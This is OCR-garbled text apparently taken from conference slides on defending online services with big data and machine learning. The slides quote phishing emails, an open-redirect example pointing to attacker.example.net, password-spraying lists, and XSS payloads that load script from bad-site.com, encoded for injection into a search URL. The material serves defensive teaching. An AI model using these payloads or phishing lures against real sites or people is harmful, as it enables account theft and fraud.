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Generic online service architecture
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Software attacks
Vulnerability Exploited by

Individual bug Lone hacker
Integration issues Network of hacked computers



Exploiting integration (few months back...
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Visiting top search resul
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How is this done?

Search engine resu

Relevance ranking fac

{S

nage order

or: ‘good ¢

inks by “relevance”
ick”

User made search, clicked on SERP link, and didn't come back “too quickly”

Exploit: hacked network

There are also people paid to “navigate the web" and click according to “script”



How are machines hac

enoit . <bthydrol@oral

RE: VERIFICATION DE GAIN/EUR250.000 tr: FW: Re

loBorange. fi

0 If there are problems with how this message is displayed, click here to view it in 2 web browser

Message '] view.pdf (276 KB) 1Y) nuit du feu (9).pdf (396 KB)

Cher (e) vencedor (e).

Nous vous envoyons cette lettre pour vous informer que vous avez gagner une somme de 250.000 euros.
S'1l vous plait contactez le cabinet de monsiecur YANNICK BERNIER.

Recevez toutes les félicitations du groupe MICROSOFT INTERNACIONAL BILL GATES.

Envoyez un E-mail a I'avocat: Yannick.bemier@outlook.com

Pour plus d'informations, nous vous demandons a prendre connaissance du fichier joint a ce message pour la notification de votre gain.
Mme. ISABELLE CHEVALIER
Chef de campagne




www hmrc.gov.uk <no_reply@tax.gov.uk:>
TAX RETURN FOR THE YEAR 2013 - 2014

To Alisson Sal

Dear Applicant,

The contents of this email and any attachments are confidential and as

applicable, copvright in these 1s reserved to HM Eevenue & Customs. h{'tp; fhmrc. gov.u .onhne.new.htm.
Unless expressly authornized by us, any further dissemination or khostina.net/www/index.oho?httos:/
distnibution of this email or 1ts attachments 1s prohibited . tcpra 0SNG NEVWWW/INASX.PRPR S NIEPS
‘online,hmrc.gov.uk/login

If vou are not the intended recipient of this email, please reply to Click to follow link

inform us that vou have recerved this email i error and then delete 1t
without retamning anv copy.

adl 1 a 1 1 i a” [l

I am sendmng this email to announce: Af hitp://hmrc.gov.uk.online.new.htm.

vour fiscal activity we have determined toprakhosting.net/www/index.php?https:/
tax refund of 418.33 GEP fonlinehmrc.gov.uk/login
Click to follow link

Click Here to Complete vour Tax Eefund

After completing the form, please submit the form by clicking the SUBMIT
button on form and allow us 3-9 business days 1n order to process it_

Our head office address can be found on our web site at HM Eevenue & Customs: hitp//www _hmre gov uk




URL Redirection to Untrusted Site

CE http://cwe.mitre.org/data/definitions/601.htm ,'D v O

‘ (f] CWE - CWE-601: URL Redir.. | N
s pRIWRIsinn vwilkll Willo JAvad o] VIGL WWUST 1o LTTAaLe Al dLLdeiel WU Woc LTS Vel Culaol Vil do

part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send

an HTML formatted e-mail directing the user to log into their account by including in the
e-mail the following link:

Example Language: HTML

<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>

The user may assume that the link is safe since the URL starts with their trusted bank,
bank.example.com. However, the user will then be redirected to the attacker's web site
(attacker.example.net) which the attacker may have made to appear very similar to
bank.example.com. The user may then unwittingly enter credentials into the attacker's web
page and compromise their bank account. A Java servlet should never redirect a user to a
URL without verifying that the redirect address is a trusted site.

¥ Observed Examples
Reference Description

CVE-2005- URL parameter loads the URL into a frame and causes it to appear to be part
4206 of a valid page.



Password attacks

sarahj57@live.com abcdefg
sarah)57@live.com 123456
sarah)57@live.com password

sarahj57@live.com abcdefg
johnf12@live.com abcdefg
julie99@live.com  abcdefg

sarahj57@live.com princess topdog@live.com  abcdefg

sarah)57@live.com monkey
sarah)57@live.com 12345678
sarah)57@live.com Password

bostonS@live.com abcdefg

seahawk@live.com abcdefg

23mike7@live.com abcdefg
Depth first Breadth first

Other strategies: replay {username, password} pairs from leaked datasets

Slide by Cormac Herley, Microsoft Research



Attacking service endpoints
Given URL

http://www.bing.com/search?q=[param]

Inject attack values

<script>alert("XSS"); </script>
<script src="http://bad-site.com/XSS.js" > </script>

Fncoded

%3Cscript%3Ealert(%22XS5%22)%3B%3C%2Fscript%3E
%3Cscript%20src%3D%22http%3A%2F%2Fbad-site.com%2FXSS.js%22%3E%3C%2Fscript%3E

Attach request

http://www.bing.com/search?q=%3Cscript%3Ealert(%22XS55%22)%3B%3C%2Fscript%3E



Vulnerability testing

Attack values Attack surface
Cross site scripting http://example.com/?param1=value
String injection http://example.com/videos/?param2=value
Tag injection http://example.com/news/?param3=value
Attribute injection http://example.com/news/?p1=value8p2=value
Open redirects
Click jacking

HTTP response splitting
Certificate issues

SQL injection

Null character injection
Large string injection
Integer overflow
Cross-domain trust
Cookie fuzzing



What s the attack surface for my service?
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LOogged usage data

2014-09-30 ©05:25:12 127.0.0.1 GET /TechEd2014EU/ - 80 - 127.0.0.1
Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+1ike+Gecko
- 200 0 0 1359

(C) » inetpub » logs » LogFiles » W3SV

Name | Date modified Type

u_ex140829 8/29/2014 2:53 AM Text Document
u_ex140831 8/31/2014 1:34 PM Text Document
u_ex140902 9/2/2014 2:36 PM Text Document
u_ex 140904 9/4/2014 10:22 AM  Text Document

u_ex140926 9/26/2014 2:30 AM Text Document

Usage data: created by end-user interactions

)
A



Operational data

R Detaded Dashbosrd - Ust - Opsdigr - Dperabions

MNe B Vex G Tals Tk
v :

i sem

[ ®

IT

Operations
Provisioning - Monitoring - Security

Operational data: logs from operation of infrastructure
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2014-09-30 05:25:12 127.0.0.1 GET http://www.bing.com/?g=surface - 80 -
127.0.0.1 Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0) -
200 © 0 1359

V
[ Map |
L et e
V
__Reduce ]
e e, e



HDInsight LogMapper

public class LogMapper {
public static void Main(string[] args) {
if (args.Length > @) { Console.SetIn(new StreamReader(args[0])); }

string inputlLine;

while ((inputLine = Console.ReadlLine()) != null) {
string mappedData = ExtractDataFromInputLine(inputLine);
Console.WritelLine(mappedData);

¥

private static string ExtractDataFromInputLine(string inputlLine) {
// Code to extract relevant data

¥



HDInsight LogReducer

public class LogReducer {
public static void Main(string[] args) {
if (args.Length > @) { Console.SetIn(new StreamReader(args[0])); }
string word, lastWord = null; int count = 0;

while ((word = Console.ReadlLine()) != null) {
if (word != lastWord) {
Console.WriteLine("{0}\t{1}", lastWord, count);

count = 1;
lastWord = word;

}

else { count++; }

}
Console.WriteLine("{0}\t{1}", lastWord, count);



HDInsight PowerShell script

Write-Host "Creating streaming MapReduce job definition" -ForegroundColor Green

$mrlobDef = New-AzureHDInsightStreamingMapReduceJobDefinition -JobName
mrSampleStreaminglob -Mapper $mrMapper -Reducer $mrReducer -InputPath $mrInput -
OutputPath $mroutput -StatusFolder $mrStatusoOutput

$mriobbDef.Files.Add($mrMapperFile)
$mrJobbef.Files.Add($mrrReducerFile)

Write-Host "Running streaming MapReduce job" -ForegroundColor Green
$mrJob = Start-AzureHDInsightJob -Cluster $clusterName -JobDefinition $mrJobDef
wait-AzureHDInsightJob -Job $mrJob -waitTimeoutInSeconds 3600

Write-Host "Output at $mroutput" -ForegroundColor Green



BINg

ﬂ ~10-100 billion requests 1

¥
__Map |
[
¥
_Reduce ]
 smmeameaes > [ Attackl ]



Business result  INGEIeSRaNIRSRHIS i RERiBIEN

Message from webpage

BIng Maps Preview

Bing Maps Preview isn't available here yet.

For now, the new Bing Maps Preview works on Internet Explorer 11 and
Google Chrome using a PC or tablet, and is only available in the United
States (English).

To get the current Bing Maps (which works on more devices and browsers
in wide variety of regions), tap



8ig data scenario takeaways

Jsing usage logs, find your service attack surface
Continuous security: proactively attack your service

Guard against creating denial-of-service against your service
Prioritize areas according to “importance”

There is always a “window" between your last scan and a possible release to the public

Issues

Some processing needed for special endpoints
Attacking own service is a costly development effort

False positives: 500K endpoints with 0.1% false positives = 500 “incidents” to investigate
Remember: the “data feeds” may be your weakest link!
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(Near) realtime detection
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(Near) realtime detection
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"Machine Learning”
Strong candidate for buzzword of the decade

Besides, those are two words!

"Know enough to be dangerous”

Common self-assessment

At times, a prediction is correct...

But can it be repeated? Is there a pattern? Wasn't it just an accident?



Prediction model for the FIFA World Cup 2014
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Key considerations for machine learning
achine scalability




Key considerations for machine learning
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Key considerations for machine learning

achine scalability
rganizational expertise will work!

ata

xperiments <2
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ML Intro In 3 minutes...



Supervised learning from movie features

Movie Tag | # of kicks | # of kisses Label
A 3 104 Romance
B 2 100 Romance
C 1 31 Romance
D 101 10 Action
E 99 5 Action
F 98 p Action
? 18 90 Unknown

Row A-F: “Ground Truth”

Source:

Machine learning in action
By: Harrington, Peter.
Manning Publications
2012



Movies: scatter chart
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kK-NN: distances

Tag |# of kicks|# of kisses| Label |[Distance
? 18 90 Unknown 0.0

A 3 104 Romance 20.5

B 2 100 Romance 18.9

C 1 31 Romance 19.2

D 101 10 Action 115.3
E 99 5 Action 117 .4
F 98 p Action 118.9




kK-NN: sorted distances

Tag |# of kicks|# of kisses| Label |[Distance
? 18 90 Unknown 0.0
B 2 100 Romance 18.9
C 1 31 Romance 19.2
A 3 104 Romance 20.5
D 101 10 Action 115.3
E 99 5 Action 117 .4
F 98 p Action 118.9

If k = 3 then 3 nearest neighbors are: Romance




Repeat

|<_ m ea n S 1. Compute centroids for k sets

2. Reassign point to group with closest centroid
3. Stop criteria: max iterations or no change
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k-means: centroids usage

Tag # of kicks # of kisses Centroid

A 3 104 Lo

B 2 100 (2, 95)

C 1 31

D 101 10 U1

E 99 5 (99.33, 5.67)
F 98 2

? 18 90 ?

distance?(lp) = (18 — 2)?+(90 — 95)%= 281

distance?(u1) = (18 —99.33)*+(90 — 5.67)*= 13727.22
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More dimensions: find the “hyperplane”




k-means clustering in AzureML

Microsoft Azure |V » ' Enter feedback here

Movies Sample - k-means clustering Finished running Properties

Search experiment items jo 4 Experiment Properties

START TIME 8/5/2014 1:06:12...
END TIME 8/5/2014 1:06:35...
STATUS CODE Finished

STATUS DETAILS  None

[] Disable upgrades

Vieans Clustering ¥ Reader

i::| Saved Datasets

L3
‘,L:TC"') Data Format Conversions
3¥ Data Input and Output

#1= Data Transformation JA Train Clustering Model

Ed
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== R Language Modules

e
39 Reader
Q
/& Machine Learning /
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A Assignto

- - - - .
.,;‘ l Statistical Functions

S Text Analytics

@
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Feature engineering

Param Size |Keywords | Attack

surface V4 5 N
<script>alert("XSS");</script> 30 3 Y
<script src="XXS.js"></script> 30 2 Y
%3Cscript%3Ealert (%22XSS%22)%3B%3C%2Fscript%3E 46 3 ?

Hardship: ground truth ...




User Traffic

0
@)
B
n
®]

U

Operational
Data

% Recognizer
e 4

ressNnN

Recognized |
Bad Traffic




Learning cycle

True Positive  ©
True Negative ©

False Positive  Boosting GT

False Negative Boosting GT

Feature Prepare
experiments features

ML training Classification
or Regression

Scoring
Process

ML module
Solution




Deployment
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What is “normal” traffic?

Sessions/day for online service




Machine learning scenario takeaways
Attacks are detectable from your data

Rule-based approach doesn't scale

ML-based approach can provide “confidence” that requests, sessions or “groups of events” are attacks
You are seeking for the unexplained deviations from “normal”

Issues

Heisenberg principle: observing the system affects its behavior
False positives: 10 billion requests with 0.1% false positives = 10 million “incidents” to investigate
Real time correlation of usage data and operational data is hard




Review
Using big data to find service attack surface

Helps to learn about usage patterns
Anticipate vulnerabilities proactively

Using machine learning to detect malicious requests

Group usage patterns: per requests or parameter values
Matching new request to previous groups may detect malicious intent

Detected malicious intent. Now what?
Increase cost for attacker (ex: delay answer by 1ms, then 10ms, than 100ms then 1s, ...)




Return on Investment

ROI

.
/

/
/’Big Data + ML

Cost



Call to action

Selec
Selec
Prepare your data

Fvolve your model!
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